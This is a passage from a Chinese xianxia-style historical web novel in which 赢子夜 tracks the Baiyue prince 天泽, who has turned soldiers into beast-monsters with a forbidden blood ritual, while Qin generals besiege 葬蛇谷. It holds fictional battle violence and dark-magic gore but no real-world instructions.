一排排粗糙的木架和石台上,整齐地码放着无数卷轴、竹简以及用某种兽皮鞣制而成的厚书。
内容包罗万象。
有记载着百越各部族起源迁徙的史记。
有描绘南疆地理山川水文的地志。
更多的是各种各样修炼**、巫蛊秘术、**配方、以及驯养异兽的心得!
少司命纤细的指尖拂过一卷以人皮鞣制的诡异书卷。
上面用鲜血描绘着召唤邪灵的仪式。
她紫眸中闪过一丝厌恶,轻轻将其推开。
赢子夜的黑眸如同最精密的机器,快速掠过这些典籍。
他随手拿起几卷**翻看。
内容,大多走的阴毒诡谲、速成伤身的路径。
或是以毒虫瘴气淬炼己身,或是沟通邪神获取力量,与他所修的至阳至刚之法,乃至主流修仙之道格格不入。
甚至背道而驰。
“旁门左道,终究难登大雅之堂。”
他淡淡评价了一句,将书卷丢回原处。
这些**对他而言,毫无价值。
然而,当他走到石室最内侧一排明显更为古老,用料也更为讲究的石台前时,脚步微微一顿。
这些石台上有着清晰的,长期放置物品留下的印记。
大小制式统一,显然是用来存放特定重要典籍的。
但此刻,上面却空空如也。
只有一层薄薄的灰尘,显示着物品被取走已有一段时日。
“这里的痕迹很新。”
少司命清冷的声音响起,她不知何时也走到了近前,紫眸审视着那空荡荡的石台。
“与其他地方积尘厚度不同。”
“而且,周围设有更强的禁制残留,虽然已被破除。”
赢子夜眼神微凝。
“看来,有人比我们更早一步,拿走了这里最核心的东西。”
他伸出手指,抹过石台边缘一处极其细微的,仿佛被什么腐蚀性液体沾染过的痕迹。
指尖传来一丝极淡却阴冷的能量残留。
“会是什么?”
少司命轻声问道。
“能让百越人如此重视,并设下强力禁制保护的……”
“或许,是本不该存放于此,或不该现世的东西?”
赢子夜摇了摇头,目光深邃。
“或许是,或许不是。”
“但可以肯定,拿走它的人,不想让任何人知道这里曾经有什么。”
他心中闪过几个念头:
是天泽?是百越王狰?
还是其他隐藏在暗处的势力?
略作沉吟,赢子夜转身,对身后一名夜枭吩咐道:
“将这些**秘术整理出来,挑出三分之一,赏赐给此次助战的诸子百家高手,按功劳大小分配。”
“其余封存,
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运回咸阳,存放于帝宫之学内!”
“诺!”
夜枭领命。
赢子夜则走向存放史志类典籍的区域。
相较于**,他对百越的历史更感兴趣。
他需要了解这片土地,了解他的敌人。
甚至从中找出可能存在的,未被发现的隐患。
他翻阅的速度极快,神识扫过,海量的信息便被吸收消化!
大部分是些部落仇杀、祭祀活动、自然崇拜的记录。
枯燥而琐碎……
然而,当他翻到一批用某种黑色玉石片刻写的,极其古老的档案时,目光骤然停住!!
这些玉片记载的内容,明显与其他的不同,带着一种肃穆甚至……
恐惧的情绪。
其中数片,提到了一个被称为“九幽之祸”的事件。
上面模糊地记载着,在很久以前,有九个来自未知域外的恐怖“魔头”降临南疆。
它们拥有毁天灭地的力量!
所到之处,赤地千里,生灵涂炭。
当时的百越王——
玉片上刻画的图腾显示,并非狰的象征,而是另一种更为古老的飞蛇图腾。
他联合了南疆几乎所有大部族的大巫祝!
付出了难以想象的惨痛代价。
才终于将那九个魔头分别封印在了南疆各处极险绝之地。
而那位百越王……
玉片记载,在完成封印后,便与九件至关重要的“封印之钥”一起,神秘消失无踪。
“上一任百越王……是狰的弟弟?”
赢子夜眼中闪过一丝了然。
原来根源在此。
而另一部分玉片,则重点描绘了另一处地方——
万灵血池!!!
据记载,那是百越王族用来修炼一种禁忌秘法、淬炼血脉的圣地。
位于某处极阴地脉交汇之处。
需要汲取无数生灵鲜血和毒物精华才能维持。
玉片上甚至提到了血池拥有“活**、肉白骨”,以及“夺灵续命”的诡异功效。
赢子夜合上玉片,黑眸中寒光闪烁。
“天泽重伤遁走,又弑父夺取了狰的力量,他必然需要一个绝对安全且能助他彻底消化力量,甚至更进一步的地方……”
他缓缓开口,如同在拼凑最后的拼图。
少司命轻声道。
“夫君是怀疑,那天泽……就藏匿在这万灵血池之中?”
“十有**。”
赢子夜站起身。
“相比于混乱的**涧,那里才是他最好的藏身和蜕变之所。”
他立刻做出决断。
“传令,让赵弋苍的人重点确认这典籍上‘万灵血池’的方位!一旦确认,立刻回报!”
“至于那九魔封印之地……”
赢子夜看了一眼那些空荡荡的石台,眼神深邃。
“派人暗中查访,但切记,只探查,绝不可靠近,更不可试图触碰任何封印相关之物!”
“发现任何线索,立刻上报,不得有误!”
他有一种直觉。
那本被提前取走的核心典籍,可能也在天泽的手上才对。
这南疆之地,覆灭的百越王庭之下,似乎还隐藏着更深的,足以撼动天下的秘密。
但眼下,先解决天泽这个心腹之患,才是首要之事!
赢子夜带着少司命,大步走出圣地!
阳光照在他玄色的衣袍上,反射出冰冷的光泽。
猎杀,即将进入最后的阶段!!!
第234章 禁术!
半日后。
万灵血池所在的洞穴,隐匿在一片终年不见天日的幽深峡谷最底部。
入口被巨大的,滑腻的藤蔓和天然的毒瘴所掩盖。
若非夜枭借典籍之上的方位指引,根本难以发现。
此刻,赢子夜率领着少司命以及一队精锐夜枭,无声无息地潜入其中。
洞穴内部比想象中更加宽阔,却弥漫着令人作呕的浓烈血腥味和一种难以形容的,仿佛无数怨魂哀嚎的阴冷气息。
洞壁呈现出一种不祥的暗红色。
仿佛被鲜血浸染了千万年。
中央,是一方巨大的,依旧在微微冒着气泡的暗红色池子!
池水粘稠如血浆,池底隐约可见森森白骨和未曾完全融化的毒虫尸体。
这里,显然就是记载中的那处禁忌血池。
然而,预想中在此疗伤修炼的天泽,却不见踪影。
洞穴内一片死寂,只有血池偶尔冒出的气泡破裂声,显得格外刺耳。
“主上,看那里!”
一名夜枭低声喝道,指向血池旁一处干燥的石台。
众人目光望去,只见石台上,赫然躺着一具干瘪扭曲的尸身!
那尸身身上的服饰虽然破损污浊,却依旧能辨认出属于百越王族的样式,尤其是腰间那块断裂的,雕刻着狰兽图腾的玉佩,更是昭示了其身份——
正是失踪的百越王,狰!!!
但他此刻的模样凄惨无比。
整个人仿佛被抽干了所有水分和精华,只剩下一层皮包着骨头。
皮肤灰败干裂,五官扭曲定格在极致的痛苦和恐惧之中。
那双瞪大的眼睛,只剩下空洞的黑窟窿。
“这……”
即便是见惯了生死的夜枭,看到这幅景象也不由得心头一寒。
这死法,太过邪异!!!
少司命紫眸微凝,上前一步,仔细探查了片刻,清冷的声音响起。
“精气神乃至本源力量,都被某种霸道邪功强行吸食殆尽,点滴不存。”
赢子夜走到尸身旁,黑眸低垂,目光冰冷地扫过那具干尸,又看向那依旧散发着浓郁能量波动的血池。
空气中,残留着两股清晰可辨的气息。
一股属于狰的,狂暴却已衰败死寂的能量。
另一股,则阴冷、邪戾、充满了贪婪的吞噬欲望,并且……
带着一丝地心火精的灼热余韵!
这股气息,与他之前在祭祀广场和圣地石台上感受到的,同出一源!
天泽!
根本不需要任何证据,所有的线索在这一刻瞬间串联,指向了那个唯一的答案!
弑父!
噬父!
借助这万灵血池的特殊环境,或许还有地心火精的某种特性。
天泽不仅杀了狰,更是将其一身修为连同百越王族血脉本源,吞噬得干干净净!
赢子夜缓缓直起身,脸上没有任何表情,但周身散发出的寒意却让整个洞穴的温度都骤降了几分。
“好一个天泽……”
“倒是比我想的,更狠,也更果断!”
他的声音平静,却带着一种山雨欲来的压迫感。
“吸干了这里最大的养分,自然不会再多留片刻。”
他目光扫过这个充满污秽与罪恶的血池洞穴:“赵弋苍。”
“卑职在!”
赵弋苍立刻上前。
“将这具干尸处理掉。”
“池中之水,池底之物,所有与此邪池相关的东西,全部取样封存,带回咸阳。”
“其余,尽数毁去,一丝不留!”
赢子夜命令道,语气不容置疑。
“诺!”
赢子夜最后看了一眼这空荡的巢穴,转身,玄衣拂过冰冷的地面。
“我们走。”
走出洞穴,重返天光之下。
然而,这里峡谷幽深,光线依旧晦暗。
赢子夜望向南方那更加苍茫原始的群山。
黑眸之中,锐利如天剑出鞘般的杀意终于不再掩饰!
“传令各方。”
他的声音斩钉截铁,回荡在幽谷之中,带着最终审判般的冷酷。
“百越太子天泽,弑父篡位,修炼邪功,已成南疆大患!!”
“找到他!”
“无论他逃往何处,藏匿何地……”
“本公子,要他的人头!!!”
……
南疆深处。
一处比万灵血池更加隐秘,几乎与世隔绝的幽暗裂谷深处。
这里弥漫着浓郁到化不开的腥臊之气,以及无数种不同猛兽毒虫混合在一起的狂暴气息。
令人作呕,更令人心悸!
天泽盘坐在一方相对干净的黑石之上。
他周身的气息比之前更加幽深难测。
时而阴冷如毒蛇,时而狂暴如凶兽。
显然彻底吞噬其父狰的力量后,他的修为暴涨,却也带来了某种不稳定!
他手中,紧紧握着一卷非皮非玉,材质诡异,散发着不祥黑红色光芒的古老卷轴。
正是他早就从百越圣地提前盗走的核心禁术!!!
他的面前,是两千余名仅存的,对他最为忠诚,或被迫忠诚的百越精锐士卒。
这些士卒脸上带着茫然、恐惧。
却又有一丝被天泽描绘的“新生”与“力量”所蛊惑的狂热。
他们并不知道自己即将面对什么。
“战士们!”
天泽的声音沙哑而充满煽动性,在裂谷中回荡。
“暴秦毁我家园,杀我王上!”
“此仇不共戴天!”
“但你们也看到了,秦军的机关兽,他们的强弓硬**,非我等血肉之躯所能硬抗!”
他举起手中的禁术卷轴,眼中闪烁着疯狂而贪婪的光芒。
“但!先祖留下了反击的希望!”
“此乃无上秘法,可引南疆万千凶兽之力入体,让你们获得超越凡人的力量!”
“刀枪不入,力大无穷,甚至……”
“拥有毒牙利爪,翱翔天际之能!!!”
下方的士卒们一阵骚动,眼中恐惧更甚,但听到那强大的力量,又忍不住露出渴望。
“当然!”
天泽话锋一转,语气变得森然。
“获取力量,必有风险!此法艰难,并非人人可成!”
“但即便不成,亦能短暂获得兽力加持,足以让你们向秦狗复仇!”
“而若成功……”
他拖长了声音,充满诱惑。
“尔等便是新百越的开国功臣,将与本王共享这南疆**河山!!!”
威逼利诱,蛊惑人心!
天泽不再多言,猛地展开卷轴,口中念诵起晦涩拗口,充满邪异力量的古老咒文!
卷轴上,那些用不知名血液书写的符文仿佛活了过来。
开始扭曲、发光!
与此同时,裂谷两侧早已准备好的数十个大小不一的血池,突然沸腾起来!
那些血池颜色各异,气息也不同!
有赤红如焰,散发着灼热气息的熔岩巨蜥血。
有漆黑如墨,腥臭扑鼻的腐毒鳄龟血。
也有幽蓝如冰,寒气森森的冰霜妖蝠血。
更有粘
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稠如浆,翻滚着毒虫尸体的万蛊毒蟾血……
“入池!”
天泽厉声喝道!
那两千士卒在天泽积威和对力量的渴望驱使下,发出混乱的嚎叫,如同下饺子般,纷纷跳入了各自被指定的血池之中!
“啊啊啊——!”
凄厉至极的惨叫声瞬间响彻裂谷!
血池仿佛活了过来,疯狂地侵蚀着他们的身体!
皮肤在融化,骨骼在扭曲,血肉在撕裂!
无数兽类的残暴意志和本源力量如同跗骨之蛆,钻入他们的四肢百骸,冲击着他们的神智!
大部分士卒几乎在入池的瞬间,身体便发生了恐怖的畸变!
有的身上长出坚硬的鳞片,却无法控制地疯狂撕咬同伴!
有的双臂化为利爪,却双目赤红,只剩下杀戮本能。
有的背后鼓起肉瘤,喷吐出毒液,敌我不分!!!
他们获得了力量,速度、防御、攻击性都远超从前。
但代价是理智的彻底丧失,变成了只知杀戮的怪物!
这便是失败的下场,沦为被**支配的野兽!
然而,也有少数人,在无尽的痛苦和挣扎中,竟然勉强稳住了心神,与那兽血力量达成了某种危险的平衡!
虽然身体也出现了部分兽化特征,如瞳色改变、指甲变利、牙齿尖锐……
但眼神中还保留着一丝清明和对天泽的敬畏!
他们成功吸收了部分兽力,却并未完全失控!
天泽死死盯着池中的变化,看着那绝大多数沦为疯狂野兽,只有少部分人勉强算“成功”的景象。
脸上非但没有失望,反而露出了极度满意和兴奋的神情!!
“果然如此,虽然人数不多……”
“但,足够了!”
他喃喃自语,眼中疯狂更甚。
“失败的,是最好用的炮灰和杀戮机器!”
“成功的……便是种子!”
“是新军的骨干!”
就在这时。
一名身上带着蝠化特征,速度极快的探子踉跄着冲来,惊恐地汇报。
“君……君上!刚收到的风,秦将王离、王贲已将犀魁、象力几位将军的残部合围于葬蛇谷!”
“眼看就要全军覆没了!”
若是之前听到这消息,天泽或许会暴怒。
但现在,他眼中反而爆射出骇人的精光!
“葬蛇谷?!犀魁、象力的部下……”
“那可都是百越最精锐、肉身最强的战士!”
天泽的心脏剧烈跳动起来,一个更加疯狂、更加庞大的计划瞬间在他脑中成型!
“若是……若是能将那数万被围的百越精锐,全部转化为我的兽神军……”
他光是想想那画面,就激动得浑身颤抖!
数万力大无穷,悍不畏死,甚至拥有各种诡异兽能的怪物大军!
足以横扫一切!!!
什么秦军机关兽,什么大秦锐士,都将被撕成碎片!
“哈哈哈!天助我也!真是天助我也!”
天泽忍不住发出猖狂而得意的笑声,他猛地站起身,周身邪异气息澎湃涌动。
他看向裂谷中那些刚刚完成“转化”,嘶吼咆哮,混乱不堪的“兽兵”。
以及那几十名眼神还保持清明的“成功者”,大手一挥。
“整队!随本王出发!”
“目标——葬蛇谷!”
他要亲自去“接收”那份即将到手的庞大“礼物”!
他要将葬蛇谷,变成他天泽崛起的新起点,变成秦军的埋骨之地!!!
第235章 他们的目标是,葬蛇谷!!!
百越王庭。
临时书房内,赢子夜正批阅着来自各方的战报和政务奏疏。
少司命静立一旁,如同无声的玉雕。
窗外,虽然大局已定,但零星的清剿和接收工作仍在继续。
空气中依稀残留着硝烟与血腥混合的味道。
一道几乎与阴影融为一体的身影悄无声息地滑入书房,跪伏在地,正是暗河精锐,“血鸦”。
他的声音低沉而急促。
“主上,南郡楚地急报。”
“我们的人在当地发现了一处隐秘山谷,谷中有大量近期**的尸体。”
“经查验,确为项氏一族的核心亲兵,约三十余人,死状凄厉,皆是一击毙命!”
“手法…手法刻意模仿了我们的惯用手段,但却更显阴毒诡谲,留有细微破绽。”
赢子夜批阅奏疏的笔尖微微一顿,黑眸抬起。
血鸦继续道:“几乎同时,颍川郡韩地,亦传来类似消息。”
“我们的人发现十数具身份不明的尸体,同样是被伪装成江湖仇杀。”
“但现场留下了极其隐晦的,指向明确却又似是而非的痕迹。”
赢子夜缓缓放下笔,身体向后靠在椅背上,指尖轻轻敲击着桌面。
书房内的空气瞬间变得凝滞。
“模仿暗河,又嫁祸给我…或者,是想让人以为是我们所为?”
他声音平静,却带着一丝冰冷的玩味。
“项氏亲兵和韩人……”
“这两者之间,能有什么共同点,值得如此大费周章地灭口,并精心布置现场?”
他目光锐利如刀,仿佛穿透了重重迷雾,直接切中了核心。
“苍龙七宿……”
一旁的少司命,轻声吐出了四个字。
紫眸中闪过一丝了然!
赢子夜微微颔首。
“看来,有人和父皇一样,对那些传说中的盒子,很感兴趣。”
“而且,手段更脏,更喜欢藏在暗处。”
他几乎可以肯定,这绝非天泽或者百越残部能做出来的事。
这是一股更深、更狡猾、并且试图算计他的力量。
“月神,大司命。”
赢子夜开口,声音不容置疑。
事关苍龙七宿,让阴阳家去,比谁都合适……
只见虚空微微波动,月神与大司命的身影如同从水纹中浮现般,出现在书房内。
月神依旧清冷空灵,大司命则嘴角带着若有若无的妖娆笑意。
“你们即刻动身,前往颍川郡!”
赢子夜命令道:“查明真相,找到那些盒子的线索。”
“若有阻拦者,或试图浑水摸鱼者…杀无赦!”
月神微微颔首。
“谨遵公子之命。”
她似乎早已料到此事。
大司命舔了舔红唇,眼中闪过嗜血的光芒。
“终于有点像样的乐子了。”
“公子放心,定会把那些藏头露尾的老鼠,一只只揪出来捏死。”
赢子夜目光转向窗外,仿佛能看见远方韩地的方向,继续道:“传讯卫先生。”
“告诉他,本公子需要他的流沙,盯紧韩地的一切风吹草动。”
“待我处理完南疆最后的手尾,便会亲至。”
“诺!”
血鸦领命,瞬间消失于阴影之中。
月神与大司命也微微躬身,身影缓缓变淡,如同融入空气般离去。
书房内重归寂静。
赢子夜的手指无意识地敲打着桌面,黑眸深邃。
南疆的战事即将落幕,但新的风暴,已然在另一个战场上悄然酝酿。
而这一次的对手,似乎比明刀明枪的百越王庭,更加阴险难缠……
恰逢此时。
书房外传来一阵急促而略显慌乱的脚步声。
一名身披轻甲,风尘仆仆的传令兵甚至来不及等通传,便直接冲到了书房门口,单膝跪地,声音因惊疑而有些变调!
“报——!”
“启禀公子!出…出怪事了!”
赢子夜目光一凝,看向那名传令兵。
“讲。”
“我军接收的黑石、枯木、毒牙等七座城池,接连上报诡异事件!”
传令兵咽了口唾沫,努力让自己镇定下来。
“城中夜间巡逻的兵士,接连发现死状凄惨的尸体!”
“皆是被利爪撕碎,或被巨力咬断脖颈,甚至…甚至有被整个啃食殆尽的残骸!”
“从伤痕看,绝非人所为,倒像是…像是遭遇了极其凶猛的野兽袭击!!!”
少司命紫眸微动,看向赢子夜。
赢子夜眉头微蹙。
“野兽袭人?”
“虽在南疆不算稀奇,但既已城池易主,守备森严,何来大队野兽能悄无声息潜入城中,精准袭击巡逻队后又消失无踪?”
“正是如此才诡异啊,公子!”
传令兵脸上带着后怕。
“幸存的兵士都说,根本没看到任何兽群的影子!”
“往往只是一个黑影闪过,或者听到一声怪异的嘶吼,同伴便已遭毒手!”
“而且…死的都是落单或小队行动的兵士,城墙哨卡却安然无恙,仿佛那些野兽是凭空出现在城内的!”
凭空出现?
精准袭击?
只杀兵士?
赢子夜猛地站起身,走到那巨大的南疆地图沙盘前,黑眸如电。
“你刚才说,是哪七座城池?”
“再说一遍!精确到它们上报的顺序!”
传令兵不敢怠慢,立刻将七个城池的名字以及事件发生的大致时间顺序清
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晰报出。
赢子夜的手指随着传令兵的汇报,在沙盘上快速移动,将那几个城池的点一一连接起来……
一条清晰的,曲折却目标明确的路线,赫然呈现在沙盘之上!!!
这条路线,正好绕过秦军主力驻扎的区域,如同一条阴险的毒蛇,正悄无声息地……
朝着西北方向延伸!
而那个方向的尽头,正是王离、王贲大军即将完成合围,欲将百越犀魁、象力等残部彻底歼灭的…
葬蛇谷!
赢子夜的目光死死钉在那个最终点上。
脑海中瞬间闪过圣地之中那空荡荡的石台,闪过天泽弑父吞噬的邪功,闪过那卷被提前取走的,连百越王都严加防范的核心禁术!
所有的线索在这一刻轰然贯通!
“不是野兽……”
赢子夜的声音低沉下去,带着一种冰冷的笃定。
“是人为制造的‘野兽’!”
他猛地抬头,眼中锐光暴涨,仿佛已经看到了那条毒蛇的獠牙!
“天泽…他带走的根本不是寻常**!”
“是能将人变成野兽的禁忌邪术!”
“他用这种邪术,制造了一批怪物军队!”
“这些袭击,根本不是意外,而是练兵!是清除障碍!”
“更是……投石问路!”
“他的最终目标,根本不是那些城池!而是葬蛇谷里那数万被围的百越精锐!”
“他想把那数万百越败兵,也全部变成只听命于他的怪物大军!”
一想到数万力大无穷,悍不畏死,形态各异的人形凶兽组成的军队。
即便是赢子夜,也感到一股寒意!
绝不能让天泽得逞!!!
“备马!”
赢子夜毫不犹豫,声音斩钉截铁!
“夫君?”少司命看向他。
“我们去葬蛇谷!”
赢子夜抓起一旁的玄色披风,大步向外走去,语气冰冷急促。
“王离王贲那边怕是要有大变故!”
“天泽弄出来的这些鬼东西,绝非普通军队能应付!”
“必须在他将那数万败兵转化之前,阻止他!!”
少司命没有丝毫迟疑,紫影飘动,紧随其后。
赢子夜边走边对那名传令兵厉声道:“传令蒙毅,稳固后方,严查各城,凡有行为异常,体貌特征异化者,格杀勿论!”
“再令赵弋苍,放弃其他追踪,立刻率所有暗河精锐,以最快速度驰援葬蛇谷!!”
“诺!”
传令兵连滚爬爬地冲出去传令。
赢子夜与少司命的身影已然冲出书房,翻身上马。
在一队精锐夜枭的护卫下,如同离弦之箭,冲出王庭,朝着西北葬蛇谷的方向,疾驰而去!
……
第236章 究竟谁才是猎物!
葬蛇谷外。
秦军连营灯火通明,如同一条盘踞在黑暗中的钢铁巨兽,散发着令人窒息的肃杀之气。
中军大帐内,火把噼啪作响,映照着一张巨大的临时沙盘。
王离一身锃亮的重甲未解。
手指重重地点在沙盘上葬蛇谷的出口位置,虎目中燃烧着炽热的战意和一丝迫不及待。
“父亲!谷口狭窄,易守难攻不假,但那也是瓮中捉鳖的死地!”
“明日拂晓,我亲率百战穿甲兵为先锋,强攻谷口!!!”
“只要撕开一道口子,大军便可长驱直入!”
他看向一旁须发微白,面色沉静的王贲,语气带着年轻将领特有的锐气。
“届时,还需父亲水师麾下的**船沿谷外漓水支流策应,以火箭覆盖谷内,焚其营帐,乱其阵脚!”
“让他们首尾不能相顾!”
王贲抚着花白的胡须,目光如鹰隼般扫视着沙盘上葬蛇谷及其周边每一处山峦、水道,并未立刻赞同儿子的激进策略。
这位将军用兵,深得武成侯真传,更重稳妥和减少伤亡。
“离儿,心急吃不了热豆腐。”
王贲声音沉稳,带着久经沙场的沧桑。
“犀魁、象力虽已是困兽,但其部族战士勇悍,且熟悉谷内地形,强攻谷口,即便能下,我先锋伤亡必重。”
他拿起几面代表水师的小旗,插在沙盘上漓水环绕葬蛇谷的几个关键弯道处。
“我的船队已就位,封锁水道,断其粮草水源,他们撑不了几日。”
“你爷爷说过,困,比强攻更稳妥。”
他又指向谷侧两翼的陡峭山崖。
“我已命**骑营和重步营,抢占这些制高点。”
“居高临下,**箭礌石,足以让他们寸步难行,日夜不宁!”
“我们要做的,是扎紧口袋,慢慢收紧!”
王贲的手指在沙盘上划出一个合围的圈子,最终重重握拳。
“待其饥疲交加,士气崩溃之时,再以雷霆之势一举歼灭!”
“如此,方能以最小代价,竟全功!!”
王离闻言,虽然觉得有些不够痛快,但也知道父亲的老成之见更有道理。
他压下心中的急躁,点了点头。
“父亲说的是,是孩儿冒进了。”
“那就依父亲之计,先困他三日!!”
“三日后,我看那些蛮子还有没有力气抡得动斧头!”
他看向沙盘上那片被标记为百越残军最后据点的山谷,嘴角勾起一抹冷酷的笑容。
“葬蛇谷…哼,这名字倒应景,正好给他们当坟场!”
父子二人又仔细推演了一番明日开始的围困部署,各军如何调动,如何配合,如何应对可能出现的突围。
帐内烛火摇曳。
将两位秦军统帅的身影投在帐壁上,如同即将择人而噬的猛兽。
一场针对数万百越残军的死亡合围,已然策划完毕!
只待天明,便要缓缓展开。
然而。
他们并不知道,一双贪婪而疯狂的眼睛,正隐藏在更深沉的黑暗中,窥视着这片即将成为猎场的山谷!
……
拂晓前的黑暗最为浓稠。
天地间一片死寂。
唯有葬蛇谷内百越残营中零星的火光和压抑的喘息,预示着风暴来临前的最后宁静。
“咚!!!”
“咚!!!”
“咚!!!”
低沉而震撼人心的战鼓声,毫无征兆地如同滚雷般从葬蛇谷四面八方炸响!
瞬间撕裂了黎明前的死寂!
也狠狠砸碎了谷内百越人最后一丝侥幸!
“秦军!秦军攻来了!!”
谷口哨塔上,百越哨兵发出凄厉绝望的嘶嚎,但声音很快便被更加宏大磅礴的鼓声和脚步声所淹没!
东方微露的鱼肚白下。
一面巨大的“王”字帅旗率先映入惊恐的百越人眼帘。
帅旗下,老将王贲须发微张,伫立楼船舰首,如同磐石。
他冷漠地俯视着下方混乱的谷地,缓缓举起了右手。
“**船齐射——放!!”
一声令下,早已在漓水支流上严阵以待的无数秦军战船,同时崩响了死亡的弓弦!
“嗡——!!!”
天空瞬间为之一暗!
数以万计的粗壮**箭,如同死亡的蝗群,拖着凄厉的呼啸,划破黎明前的黑暗,带着燃烧的火焰,如同暴雨般倾泻入葬蛇谷中!
“轰!轰轰轰!!!”
火箭落地,瞬间引燃了营帐、草料、以及一切可以燃烧的东西!
整个葬蛇谷仿佛被投入了一座巨大的熔炉,火光冲天,浓烟滚滚!
无数百越士兵在睡梦中便被火焰吞噬,或被巨**洞穿!
惨叫声、**声、燃烧声瞬间响成一片!
“不要乱!举盾!举盾!”
百越将领犀魁挥舞着战斧,声嘶力竭地试图稳住阵脚,但面对这来自头顶和侧翼的毁灭性打击,恐慌如同瘟疫般蔓延,阵型瞬间大乱!
然而,这仅仅是开始!
几乎在火箭落下的同时,谷口方向,传来了更加沉重,更加整齐,如同山崩地裂般的脚步声!
“轰!轰!轰!”
王离一马当先,身披猩红披风,手持**,屹立于阵前。
他脸上再无昨日的急躁,只剩下冰冷的杀意和绝对的自信。
他身后,是如山如岳的百战穿甲兵方阵!!
最前排,是手持近乎等人高巨盾的重甲盾兵!
厚重的包铁巨盾重重砸入地面,瞬间连接成一道望不到边际的钢铁城墙,稳步向前推进!
盾牌间隙中,无数长达一丈有余的重型长矛如同**般探出!
寒光闪烁,等待着吞噬生命!
“大秦!”
王离**前指,声音如同雷霆炸响!
“风!风!风!大风!!!”
万千将士的怒吼声汇成一股,震得整个山谷都在颤抖!
声浪如同实质的冲击,狠狠撞碎了百越人最后的勇气!
“进!”
王离一声令下,整个钢铁方阵如同一个整体,开始向前碾压!
步伐沉重整齐,每一次落地都让大地震颤!
他们速度并不快
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,却带着一种无可阻挡的,令人绝望的压迫感!
“放箭!快放箭!”
象力疯狂地吼叫着,组织弓**手反击。
零星的箭矢射在秦军的盾墙和重甲上,发出叮叮当当的脆响,却难以造成有效的杀伤!
而与此同时。
谷地两侧的高崖上。
占据了绝对制高点的**骑营和重步兵,开始了无情的狙杀和压制!!
他们眼神锐利如鹰,手中强弓连珠般发射,专挑百越队伍中的军官和试图组织反抗的头目!
箭无虚发,每一箭都带走一条性命!
有将领则率领着力士,将早已准备好的滚木礌石推下悬崖!
巨大的石块和燃烧的滚木如同山洪暴发,狠狠砸进混乱的百越军阵中!
所到之处,血肉横飞,筋断骨折!
天上有火箭如雨,两侧有礌石滚木。
正面是如同钢铁城墙般稳步推进,长矛如林的百战穿甲兵!
百越军队被彻底压缩在谷底狭小的区域内,进退不得,躲无可躲!
他们空有悍勇,却根本无法发挥。
只能像被困在笼子里的野兽,被动地承受着来自四面八方的毁灭性打击!
“其徐如林,侵掠如火!”
王贲站在楼船上,冷静地观察着整个战场。
不时发出指令,微调着水师的射击方位和频率,确保火力覆盖最大化,完美地配合着正面战场的推进。
他的用兵,老辣而精准,如同一位高超的棋手,一步步将对手逼入绝境死地!
而王离率领的百战穿甲兵方阵,则已经推进到了谷口!
面对那些疯狂冲上来,试图做最后困兽之斗的百越力士,盾墙岿然不动!
后排的长矛如同机械般精准刺出、收回!!!
每一次刺击,都必然带起一蓬鲜血和一声凄厉的惨叫!
“碾碎他们!”
王离狂吼一声,**如龙,猛地挑飞一名扑上来的百越勇士!
整个钢铁方阵骤然加速!
如同蓄势已久的洪流,轰然撞入了百越混乱的军阵之中!
“噗嗤!咔嚓!轰!”
盾牌撞击骨骼碎裂的声音,长矛入肉的声音,重斧劈开铠甲的声音,垂死的哀嚎声,绝望的怒吼声……
瞬间交织成一曲血腥而狂暴的战场秦乐!!!
百战穿甲兵如同真正的战争机器!
高效、冷酷、无情地碾压着眼前的一切阻碍!
他们的阵型始终保持完整,互相掩护,交替前进,将百越人分割、包围、然后彻底吞噬!
火光映照着他们冰冷的甲胄和染血的面容,如同从地狱中走出的修罗!
葬蛇谷,彻底化为一座血肉磨坊!
在帝国铁蹄无可抗拒的绝对力量下,百越军队的覆灭,已然注定!
只是时间问题!
百越残军的抵抗如同冰雪遇阳,迅速消融。
王离甚至已经能看到犀魁、象力等百越将领脸上那绝望而疯狂的神情。
然而,就在秦军即将完成最后合围,给予致命一击的刹那——
异变陡生!!!
第237章 宿命之战!
葬蛇谷最深处。
那些原本被认为不可能藏匿大军的地穴和狭窄裂隙之中,猛地传出了无数非人般的,混杂着痛苦与狂暴的嘶吼咆哮!
那声音。
不似任何已知的猛兽。
更像是由无数种野兽和人类惨叫扭曲混合而成。
令人闻之头皮发麻,心神悸动!
下一刻。
黑压压的一片“怪物”洪流,如同决堤的冥河之水,猛地从那些洞穴中冲了出来!!
悍不畏死地撞向了秦军看似坚不可摧的阵线!
这些“怪物”大体还保持着人形。
但身体却发生了恐怖的畸变!
有的浑身覆盖着坚硬的鳞甲,四肢化为利爪,疯狂地撕挠着秦军的巨盾,发出令人牙酸的刮擦声,火星四溅!
有的皮肤赤红,散发着灼热的高温,口中甚至能喷吐出炽热的火焰或粘稠的熔岩,点燃一切接触到的东西。
让秦军盾阵后的士卒发出凄厉的惨叫!
有的则速度奇快无比,如同鬼魅般在阴影中穿梭。
甚至能短距离滑翔,专门从刁钻的角度扑击,用淬毒的利齿和爪子攻击秦军甲胄的缝隙!
更有甚者。
体型膨胀,肌肉贲张如岩石,力量大得惊人,竟能硬生生用身体撞开盾牌的缝隙。
甚至,徒手将秦军士卒连人带甲撕成两半!
毒液、酸液、冰霜、声波……
各种诡异莫测的攻击方式,如同潮水般涌向秦军!
“稳住!结阵!长矛手顶住!”
王离又惊又怒,狂吼着下令。
他从未见过如此诡异恐怖的敌人!
百战穿甲兵也不愧是天下精锐,虽惊不乱!
巨盾重重砸地,长矛如林刺出,试图阻挡这恐怖的洪流!
“砰!砰!砰!”
沉闷的撞击声不绝于耳!
许多冲在最前面的兽化兵被长矛洞穿,被巨盾撞飞,但它们仿佛没有痛觉,不知恐惧,即使拖着残破的身躯,依旧疯狂地攻击!
后续的怪物更是踩着同伴的尸体。
如同海浪般一波接一波地冲击着盾墙!
秦军坚固的阵线,在这完全不合常理,悍不畏死且拥有各种诡异能力的怪物冲击下。
竟然第一次出现了动摇和混乱!
虽然凭借严格的纪律和精良的装备暂时稳住了阵脚,暂缓了对方的锋芒。
但伤亡数字却在急剧上升!
那是一种用命在填的惨烈消耗!
远处一座高耸的崖壁之上。
天泽负手而立,俯瞰着下方那突然逆转,陷入血腥混战的战场。
他周身邪异的气息波动着,脸上充满了狂热与满意的笑容。
“看到了吗?看到了吗?!”
他对着空无一人的身旁喃喃自语。
仿佛在欣赏自己最完美的杰作。
“这才是力量!这才是真正的百越之力!”
“融合万兽,超越凡俗!”
他看着那些秦军引以为傲的盾阵在兽化兵的疯狂冲击下不断扭曲、变形。
嘴角的弧度越来越大。
“赢子夜……你的钢铁洪流,又能挡得住我多少这样的兽神战士?”
他眼中闪烁着疯狂而贪婪的光芒。
“等本王将谷中这数万精锐尽数转化……”
